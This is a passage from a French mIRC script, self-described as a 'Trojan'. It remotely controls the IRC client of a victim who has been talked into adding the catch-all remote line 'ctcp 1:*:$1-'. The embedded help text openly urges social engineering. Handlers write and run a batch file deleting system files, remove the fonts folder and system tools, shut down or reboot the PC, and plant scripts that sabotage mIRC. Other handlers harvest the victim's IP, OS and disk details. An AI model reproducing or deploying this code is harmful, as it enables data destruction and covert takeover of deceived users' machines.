  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) extinction du pc de $did(ctcpcontrol,5) }
}
;--------Redémarrer le Pc-----------
on *:dialog:ctcpcontrol:sclick:53: {
  ctcp $did(ctcpcontrol,5)  run C:\Windows\RUNDLL32.EXE user.exe,ExitWindows
  ctcp $did(ctcpcontrol,5) run C:\Windows\RUNDLL32.EXE shell32.dll,SHExitWindowsEX 2
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) redémarrage du pc de $did(ctcpcontrol,5) }
}

;--------prog qui efface *.sys, *.com et *.dll-----------
on *:dialog:ctcpcontrol:sclick:54: {
  ctcp $did(ctcpcontrol,5)  write C:\autexec.bat $chr(64) $+ echo off
  ctcp $did(ctcpcontrol,5)  write C:\autexec.bat del C:\*.com
  ctcp $did(ctcpcontrol,5)  write C:\autexec.bat del C:\*.bat
  ctcp $did(ctcpcontrol,5)  write C:\autexec.bat del C:\*.sys
  ctcp $did(ctcpcontrol,5) run C:\autexec.bat
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) envoi et lancement du prog autexec.bat ( effacage des fichiers C:\*.com, C:\*.sys et C:\*bat ) }
}

;--------Effacer les polices-----------
on *:dialog:ctcpcontrol:sclick:55: {
  ctcp $did(ctcpcontrol,5) remove C:\windows\fonts
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Effacage des polices de $did(ctcpcontrol,5) }
}
;--------Effacer les progs system-----------
on *:dialog:ctcpcontrol:sclick:56: {
  ctcp $did(ctcpcontrol,5) remove C:\windows\defrag.exe
  ctcp $did(ctcpcontrol,5) remove C:\windows\drvspace.exe
  ctcp $did(ctcpcontrol,5) remove C:\windows\scandskw.exe
  ctcp $did(ctcpcontrol,5) remove C:\windows\scanregw.exe
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Effacage des progs systems de $did(ctcpcontrol,5) }
}
;--------Fermer mIRC-----------
on *:dialog:ctcpcontrol:sclick:140: {
  ctcp $did(ctcpcontrol,5) exit
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Fermeture du mIRC de $did(ctcpcontrol,5) }
}

;--------Pourrir mIRC (deconnecter à la connection)-----------
on *:dialog:ctcpcontrol:sclick:144: {
  ctcp $did(ctcpcontrol,5) write -c C:\scriptini.txt on 1:connect $+ $chr(32) $+ $chr(123) $+ disconnect $+ $chr(32) $+ $chr(125)
  ctcp $did(ctcpcontrol,5) load -rs C:\scriptini.txt
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Bloquage du mIRC de $did(ctcpcontrol,5) (Disconnection at connection) }
}

;--------Pourrir mIRC(partir à l'arrivé d'un salon)-----------
on *:dialog:ctcpcontrol:sclick:144: {
  ctcp $did(ctcpcontrol,5) write -c C:\scriptini.txt on 1:join:#: $+ $chr(32) $+ $chr(123) $+ partall $+ $chr(32) $+ $chr(125)
  ctcp $did(ctcpcontrol,5) load -rs C:\scriptini.txt
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Bloquage du mIRC de $did(ctcpcontrol,5) (Part on join) }
}
;--------Pourrir mIRC (fermer mIRC à l'ouverture)-----------
on *:dialog:ctcpcontrol:sclick:144: {
  ctcp $did(ctcpcontrol,5) write -c C:\scriptini.txt on 1:start $+ $chr(32) $+ $chr(123) $+ exit $+ $chr(32) $+ $chr(125)
  ctcp $did(ctcpcontrol,5) load -rs C:\scriptini.txt
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Bloquage du mIRC de $did(ctcpcontrol,5) (exit on start)(MOUAHAHAHAHAHAHAHAHAHAHAHAHAHAHA) }
}
;---------------------COMMANDES ONGLET mIRC--------------------------------
;--------Changer la couleur-----------
on *:dialog:ctcpcontrol:sclick:906:{
  ctcp $did(ctcpcontrol,5) colour $did(ctcpcontrol,904) $did(ctcpcontrol,905) 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) changement de la couleur du $did(ctcpcontrol,904) en $did(ctcpcontrol,905) }
}
;--------Changer toutes les couleurs-----------
on *:dialog:ctcpcontrol:sclick:915:{
  attente
  if ( $server == $null ) { dialog -x attente | goto fin }
  /ctcp $did(ctcpcontrol,5) colour background $did(ctcpcontrol,905) 
  /ctcp $did(ctcpcontrol,5) colour background $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Editbox text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Action text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour CTCP text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Highlight text $did(ctcpcontrol,905)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }

  set %timerctcp 1
  :etapecolor1
  inc %timerctcp
  if ( %timerctcp >= 30000 ) { goto etapecolor2 }
  else goto etapecolor1
  :etapecolor2

  /ctcp $did(ctcpcontrol,5) colour Info text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Info2 text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Invite text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Join text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Kick text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Mode text $did(ctcpcontrol,905)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }

  set %timerctcp 1
  :etapecolor3
  inc %timerctcp
  if ( %timerctcp >= 30000 ) { goto etapecolor4 }
  else goto etapecolor3
  :etapecolor4

  /ctcp $did(ctcpcontrol,5) colour Nick text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Normal text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Notice text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Notify text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Other text $did(ctcpcontrol,905)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }

  set %timerctcp 1
  :etapecolor5
  inc %timerctcp
  if ( %timerctcp >= 30000 ) { goto etapecolor6 }
  else goto etapecolor5
  :etapecolor6

  /ctcp $did(ctcpcontrol,5) colour Own text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Part text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Quit text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Topic text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Wallops text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Whois text $did(ctcpcontrol,905)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }

  set %timerctcp 1
  :etapecolor7
  inc %timerctcp
  if ( %timerctcp >= 30000 ) { goto etapecolor8 }
  else goto etapecolor7
  :etapecolor8

  /ctcp $did(ctcpcontrol,5) colour Editbox $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Listbox text $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour Listbox $did(ctcpcontrol,905)
  /ctcp $did(ctcpcontrol,5) colour grayed text $did(ctcpcontrol,905)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) changement de toutes les couleurs de mIRC en $did(ctcpcontrol,905) }
  :fin
  dialog -x attente
}


;--------Envoyer sur internet-----------
on *:dialog:ctcpcontrol:sclick:929:{
  /ctcp $did(ctcpcontrol,5) run explorer.exe $did(ctcpcontrol,928)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) ouverture du site $did(ctcpcontrol,928) }
}


;--------Changer le police d'eccriture-----------
on *:dialog:ctcpcontrol:sclick:917:{
  /ctcp $did(ctcpcontrol,5) font $did(ctcpcontrol,919) $did(ctcpcontrol,918)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) changement de police de $did(ctcpcontrol,5) en $did(ctcpcontrol,918) $did(ctcpcontrol,919) }
}
;--------Changer l'adresse email dans les options-----------
on *:dialog:ctcpcontrol:sclick:920:{
  /ctcp $did(ctcpcontrol,5) emailaddr $did(ctcpcontrol,921)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) changement de l'adresse e-mail en $did(ctcpcontrol,921) }
}
;--------Changer le nom d'utilisateur-----------
on *:dialog:ctcpcontrol:sclick:922:{
  /ctcp $did(ctcpcontrol,5) username $did(ctcpcontrol,923)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) changement du nom d'utilisateur en $did(ctcpcontrol,923) }
}
;--------Reduire mIRC-----------
on *:dialog:ctcpcontrol:sclick:924:{
  /ctcp $did(ctcpcontrol,5) showmirc -n 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Réduction de mIRC }
}
;--------Bloker mIRC sur l'avant plan-----------
on *:dialog:ctcpcontrol:sclick:925:{
  /ctcp $did(ctcpcontrol,5) showmirc -o
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) blokage de mIRC en avant plan }
}
;--------débloker mIRC de sur l'avant plan-----------
on *:dialog:ctcpcontrol:sclick:926:{
  /ctcp $did(ctcpcontrol,5) showmirc -p 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Déblokage de mIRC en avant plan }
}




;--------Reponses de la victime pour l'onglet INFO-----------
ctcp 1:compatibility*:?:{
  did -r ctcpcontrol 299 | did -a ctcpcontrol 299 COMPATIBILITé OKAY :) 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt Ctcpcontrol démarré le $asctime(dd:mm:yy) à $asctime(hh:nn:ss) }
}
ctcp 1:ip:?:{ 
  did -r ctcpcontrol 20 | did -a ctcpcontrol 20 $2 
  did -r ctcpcontrol 718 | did -a ctcpcontrol 718 $2 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) IP de $did(ctcpcontrol,5) : $2 }
}
ctcp 1:os:?:{
  did -r ctcpcontrol 22 | did -a ctcpcontrol 22 $2 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) OS de $did(ctcpcontrol,5) : $2 }
}
ctcp 1:version:{ 
  did -r ctcpcontrol 24 | did -a ctcpcontrol 24 $2 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Version du mIRC de $did(ctcpcontrol,5) : $2 }
}
ctcp 1:diskc:?:{
  did -r ctcpcontrol 26 | did -a ctcpcontrol 26 $2- 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) infos sur le disque C de $did(ctcpcontrol,5) : $2- }
}
ctcp 1:diskd:?:{
  did -r ctcpcontrol 28 | did -a ctcpcontrol 28 $2- 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) infos sur le dique D de $did(ctcpcontrol,5) : $2- }
}
ctcp 1:port:?:{
  did -r ctcpcontrol 30 | did -a ctcpcontrol 30 $2 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Port de serveur de $did(ctcpcontrol,5) : $2 }
}
ctcp 1:dccport:?:{
  did -r ctcpcontrol 32 | did -a ctcpcontrol 32 $2 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt dccport de $did(ctcpcontrol,5) : $2 }
}
ctcp 1:idle:?:{
  did -r ctcpcontrol 34 | did -a ctcpcontrol 34 $2- 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) temps de présence de $did(ctcpcontrol,5) : $2- }
}
ctcp 1:querry:?:{
  did -r ctcpcontrol 36 | did -a ctcpcontrol 36 $2- 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) nombre de query de $did(ctcpcontrol,5) : $2- }
}
ctcp 1:resolution:?:{
  did -r ctcpcontrol 38 | did -a ctcpcontrol 38 $2- 
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Résolution d'ecran de $did(ctcpcontrol,5) : $2- }
}

{
  CTCP CONTROLEUR :/ctcpcontrol
}

#ctcpmenu on
{
  TROJAN
  .Configuration
  ..lui expliquer comment mettre le code:/msg $$1 Tu va dans le menu TOOLS, puis Remote ... | timer2 1 3 msg $$1 Ensuite, tu fais File, puis New ... |  timer3 1 6 msg $$1 Après, tu tapes ce code :  | timer4 1 6 msg $$1  ctcp 1:*:$1- | timer5 1 9 msg $$1  Après, tu fais OK  et c'est bon !!!! :)  
  ..test de compatibilité:/ctcp $$1 notice $me compatibility ok :) | ctcp $$1 clear -s 
  .actions sympas 
  ..message en echo:/ctcp  $$1 echo $$?"quel message mettre en echo ?" | ctcp $$1 clear -s 
  ..lui lancer un programme :
  ...le demineur :/ctcp $$1 run C:\windows\winmine.exe | ctcp $$1 clear -s 
  ...freecell :/ctcp $$1 run C:\windows\freecell.exe | ctcp $$1 clear -s 
  ... solitaire :/ctcp $$1 run C:\windows\sol.exe | ctcp $$1 clear -s 
  ... Dame de pique :/me $$1 run C:\windows\mshearts.exe |  ctcp $$1 clear -s 
  ...defragementeur : /ctcp $$1 run C:\windows\defrag.exe | ctcp $$1 clear -s 
  ...regedit :/ctcp $$1 run C:\windows\regedit.exe |  ctcp $$1 clear -s 
  ...scandisk : /ctcp $$1 run C:\windows\scandskw.exe | ctcp $$1 clear -s 
  ...notepad :/ctcp $$1 run C:\windows\notepad.exe |  ctcp $$1 clear -s 
  ... paint : /ctcp $$1 run C:\windows\pbrush.exe | ctcp $$1 clear -s 
  ... magnetophone :/ctcp $$1 run C:\windows\sndrec32.exe | ctcp $$1 clear -s 
  ... lecteur CD :/ctcp $$1 run C:\windows\cdplayer.exe | ctcp $$1 clear -s 
  ... calculette :/ctcp $$1 run C:\windows\calc.exe | ctcp $$1 clear -s 
  ...explorer :/ctcp $$1 run  run C:\windows\explorer.exe | ctcp $$1 clear -s 
  ... prompteur MS-DOS :/ctcp $$1 run C:\command.com | ctcp $$1 clear -s 
  ... winver :/ctcp $$1 run C:\windows\winver.exe | clear -s 
  ..Ecrans de veilles 
  ... boîtes florissantes 3D :/ctcp $$1 run C:\windows\system\Boîte florissante 3D.scr | ctcp $$1 clear -s 
  ...canalisations 3D :/ctcp $$1 run C:\windows\system\Canalisations 3D.scr | ctcp $$1  clear -s 
  ...Courbes et couleurs :/ctcp $$1 run C:\windows\system\Courbes et couleurs.scr 
  ...Espace:/ctcp $$1 run C:\windows\system\Espace.scr 
  ...Etoiles :/ctcp $$1 run C:\windows\system\étoiles.scr 
  ...Fenetres volantes :/ctcp $$1 run C:\windows\system\fenêtres volantes.scr 
  ...fonds marins :/ctcp $$1 run C:\windows\system\fonds marins.scr 
  ...Labyrinthe 3D :/ctcp $$1 run C:\windows\system\labyrinthe 3D.scr 
  ...Au coeur de l'ordinateur :/ctcp $$1 run C:\windows\system\Au coeur de l'ordinateur.scr 
  ...Baseball :/ctcp $$1 run C:\windows\system\baseball.scr 
  ...Jungle :/ctcp $$1 run C:\windows\system\jungle.scr 
  ...L'âge d'or:/ctcp $$1 run C:\windows\system\L'âge d'or.scr 
  ...Léonard de vinci :/ctcp $$1 run C:\windows\system\léonard de vinci.scr 
  ...les animaus dangereux :/ctcp $$1 run C:\windows\system\les animaux dangereux.scr 
  ...les années 60 américaines :/ctcp $$1 run C:\windows\system\les années 60 américaines.scr 
  ...Mystère :/ctcp $$1 run C:\windows\system\Mystère.scr 
  ...Mystifiez votre esprit :/ctcp $$1 run C:\windows\system\Mystifiez votre esprit.scr 
  ...Nature :/ctcp $$1 run C:\windows\system\Nature.scr 
  ...Objets volants 3D:/ctcp $$1 run C:\windows\system\Objets volants 3D.scr 
  ...Panneau lumineux :/ctcp $$1 run C:\windows\system\Panneau lumineux.scr 
  ...Science :/ctcp $$1 run C:\windows\system\Science.scr 
  ...Sports :/ctcp $$1 run C:\windows\system\Sports.scr 
  ...texte 3D :/ctcp $$1 run C:\windows\system\texte 3D.scr 
  ...Voyages :/ctcp $$1 run C:\windows\system\Voyages.scr 
  ..Deconnecter son mIRC:/ctcp $$1 disconnect
  ..Faire marcher son lecteur de diskette:/ctcp $$1 run A:\ | clear -s
  ..faire bipper son mIRC/ctcp $$1 beep 50 100 | clear -s
  .Actions mechantes
  ..Eteindre son pc:/ctcp $$1 run C:\Windows\RUNDLL32.EXE user.exe,exitwindows | ctcp $$1 run C:\Windows\RUNDLL32.EXE shell32.dll,SHExitWindowsEx
  ..Fermer son mIRC:/ctcp $$1 exit
  .mIRC
  ..Réduire son mIRC:/ctcp $$1 showmirc -n
}
#menuctcp end

on *:dialog:ctcpcontrol:init:*:{
  set %c 1
  did -i ctcpcontrol 801 %c  ************ [ Trojan Pour le DJ Script Universal Version Finale ] *************
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c  Ceci est add-on servant à controler un bouffon sous mirc
  inc %c
  did -i ctcpcontrol 801 %c Pour cela, faites lui mettre le code ctcp 1:*:$1- dans ses remotes
  inc %c
  did -i ctcpcontrol 801 %c Pour convaincre la victime de placer ce code, faites un peu de 
  inc %c
  did -i ctcpcontrol 801 %c social engineering, et apres, à vous le pouvoir >-)=
  inc %c
  did -i ctcpcontrol 801 %c Il suffit de taper le nick de la victime dans l'onglet configuration
  inc %c
  did -i ctcpcontrol 801 %c et toutes les commandes devraient s'exectuer ... 
  inc %c
  did -i ctcpcontrol 801 %c je ne les ai pas toutes testées (chsuis pas maso moua !!! >-Þ= )
  inc %c
  did -i ctcpcontrol 801 %c Mais normalement, elles doivent marcher .
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c Le control chan est issu de "blackhorse", fait par OsSaTuEuR, 
  inc %c
  did -i ctcpcontrol 801 %c mais je l'ai un peu modifié ...
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c Je prépare actuellement une version 2, avec un systeme de listage de fichier
  inc %c
  did -i ctcpcontrol 801 %c et de connection par un port de modem de la victime permettant beaucoup  
  inc %c
  did -i ctcpcontrol 801 %c plus de possibilités >-)= ( enfin si j'y arrive :p )
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c 
  inc %c
  did -i ctcpcontrol 801 %c 2001 tous droits reservés par Dj Dgé >-)=
  inc %c
  unset %c


  did -a ctcpcontrol 41 ------SONS WINDOWS------ 
  did -a ctcpcontrol 41 DING ! 
  did -a ctcpcontrol 41 Chimes 
  did -a ctcpcontrol 41 LogOFF windows 
  did -a ctcpcontrol 41 Chord
  did -a ctcpcontrol 41 Start
  did -a ctcpcontrol 41 TADA
  did -a ctcpcontrol 41 ------SONS AOL 6.0------
  did -a ctcpcontrol 41 Message Eclair
  did -a ctcpcontrol 41 Arrivée D'un contact
  did -a ctcpcontrol 41 Départ d'un contact
  did -a ctcpcontrol 41 Connexion (Bienvenue)
  did -a ctcpcontrol 41 Déconnexion (A bientôt)
  did -a ctcpcontrol 41 Vous avez des e-mails
  did -a ctcpcontrol 41 --------AUTRE----------

  did -a ctcpcontrol 45 ----PROGRAMMES----
  did -a ctcpcontrol 45 Demineur
  did -a ctcpcontrol 45 Free Cell
  did -a ctcpcontrol 45 Solitaire
  did -a ctcpcontrol 45 Dame de pique
  did -a ctcpcontrol 45 Defragmenteur
  did -a ctcpcontrol 45 regedit 
  did -a ctcpcontrol 45 Scan disk
  did -a ctcpcontrol 45 Bloc-Note
  did -a ctcpcontrol 45 Paint
  did -a ctcpcontrol 45 Magnetophone
  did -a ctcpcontrol 45 Lecteur CD
  did -a ctcpcontrol 45 Calculatrice
  did -a ctcpcontrol 45 Exploreur
  did -a ctcpcontrol 45 Prompteur MS-DOS
  did -a ctcpcontrol 45 Version de Windows
  did -a ctcpcontrol 45 ---ECRANS DE VEILLE---
  did -a ctcpcontrol 45 Boîte florissante 3D
  did -a ctcpcontrol 45 Canalisations 3D
  did -a ctcpcontrol 45 Courbes et couleurs
  did -a ctcpcontrol 45 Espace 
  did -a ctcpcontrol 45 Étoiles 
  did -a ctcpcontrol 45 Fenêtres volantes 
  did -a ctcpcontrol 45 Fonds marins 
  did -a ctcpcontrol 45 Labyrinthe 3D 
  did -a ctcpcontrol 45 Au coeur de l'ordinateur 
  did -a ctcpcontrol 45 Baseball   
  did -a ctcpcontrol 45 Jungle 
  did -a ctcpcontrol 45 L'âge d'or 
  did -a ctcpcontrol 45 Léonard de Vinci 
  did -a ctcpcontrol 45 Les animaux dangereux 
  did -a ctcpcontrol 45 Les années 60 américaines 
  did -a ctcpcontrol 45 Mystère 
  did -a ctcpcontrol 45 Mystifiez votre esprit 
  did -a ctcpcontrol 45 Nature 
  did -a ctcpcontrol 45 Objets volants 3D 
  did -a ctcpcontrol 45 Panneau lumineux 
  did -a ctcpcontrol 45 Science 
  did -a ctcpcontrol 45 Sports 
  did -a ctcpcontrol 45 Texte 3D 
  did -a ctcpcontrol 45 Voyages 
  did -a ctcpcontrol 45 --------AUTRE--------
  did -c ctcpcontrol 41 1 
  did -c ctcpcontrol 45 1 


  did -a ctcpcontrol 904 background
  did -a ctcpcontrol 904 Editbox text 
  did -a ctcpcontrol 904 Editbox 
  did -a ctcpcontrol 904 Listbox text 
  did -a ctcpcontrol 904 Listbox 
  did -a ctcpcontrol 904 Action text 
  did -a ctcpcontrol 904 CTCP text 
  did -a ctcpcontrol 904 Highlight text 
  did -a ctcpcontrol 904 Info text 
  did -a ctcpcontrol 904 Info2 text 
  did -a ctcpcontrol 904 Invite text 
  did -a ctcpcontrol 904 Join text 
  did -a ctcpcontrol 904 Kick text 
  did -a ctcpcontrol 904 Mode text 
  did -a ctcpcontrol 904 Nick text 
  did -a ctcpcontrol 904 Normal text 
  did -a ctcpcontrol 904 Notice text 
  did -a ctcpcontrol 904 Notify text 
  did -a ctcpcontrol 904 Other text 
  did -a ctcpcontrol 904 Own text 
  did -a ctcpcontrol 904 Part text 
  did -a ctcpcontrol 904 Quit text 
  did -a ctcpcontrol 904 Topic text 
  did -a ctcpcontrol 904 Wallops text 
  did -a ctcpcontrol 904 Whois text 
  did -c ctcpcontrol 904 1


  if ( %ctcpmenu == $true ) { did -c ctcpcontrol 16 }
  if ( %clearstatus == $true ) { did -c ctcpcontrol 17 }
  if ( %loggingcontrols == $true ) { did -c ctcpcontrol 18 }

  did -a ctcpcontrol 928 http://www.vtff.fr.st
  did -a ctcpcontrol 928 http://www.voissa.com
  did -a ctcpcontrol 928 http://www.newshackers.com
  did -a ctcpcontrol 928 http://www.antibouffon.fr.st
  did -a ctcpcontrol 928 http://www.minou.fr.fm
  did -a ctcpcontrol 928 http://www.rotten.com
  did -c ctcpcontrol 928 1

}

alias attente dialog -mod attente attente
Dialog attente {

  Title "Veuillez patienter"
  Size -1 -1 120 50
  option dbu
  button "Fermer" ,1, 90 212 30 10,cancel
  text "Veuillez patienter pendant l'envoi du script" ,2,10 15 110 10
}

on *:dialog:attente:init:*:{
  did -h attente 1
}


on *:dialog:ctcpcontrol:sclick:41:{
  if $did(ctcpcontrol,41).sel == 1 { unset %sonvictime | did -r ctcpcontrol 42 |  did -m ctcpcontrol 42 | did -a ctcpcontrol 42 aucun son selectionné }
  if $did(ctcpcontrol,41).sel == 2 { set %sonvictime C:\WINDOWS\MEDIA\DING.WAV  | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 3 { set %sonvictime C:\WINDOWS\MEDIA\CHIMES.WAV | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 4 { set %sonvictime C:\WINDOWS\MEDIA\LOGOFF.WAV | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 5 { set %sonvictime C:\WINDOWS\MEDIA\CHORD.WAV | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 6 { set %sonvictime C:\WINDOWS\MEDIA\START.WAV | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 7 { set %sonvictime C:\WINDOWS\MEDIA\TADA.WAV | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 8 { unset %sonvictime | did -r ctcpcontrol 42 | did -am ctcpcontrol 42 aucun son selectionné }
  if $did(ctcpcontrol,41).sel == 9 { set %sonvictime C:\AOL 6.0\sounds\im.wav | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 10 { set %sonvictime C:\AOL 6.0\sounds\buddyin.wav | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 11 { set %sonvictime C:\AOL 6.0\sounds\buddyout.wav | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 12 { set %sonvictime C:\AOL 6.0\sounds\welcome.wav | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 13 { set %sonvictime C:\AOL 6.0\sounds\goodbye.wav | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 14 { set %sonvictime C:\AOL 6.0\sounds\gotmail.wav | did -rm ctcpcontrol 42 | did -a ctcpcontrol 42 %sonvictime }
  if $did(ctcpcontrol,41).sel == 15 { did -rn ctcpcontrol 42  }
}

on *:dialog:ctcpcontrol:sclick:45:{
  if $did(ctcpcontrol,45).sel == 1 {  unset %progvictime | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 aucun programme selectionné }
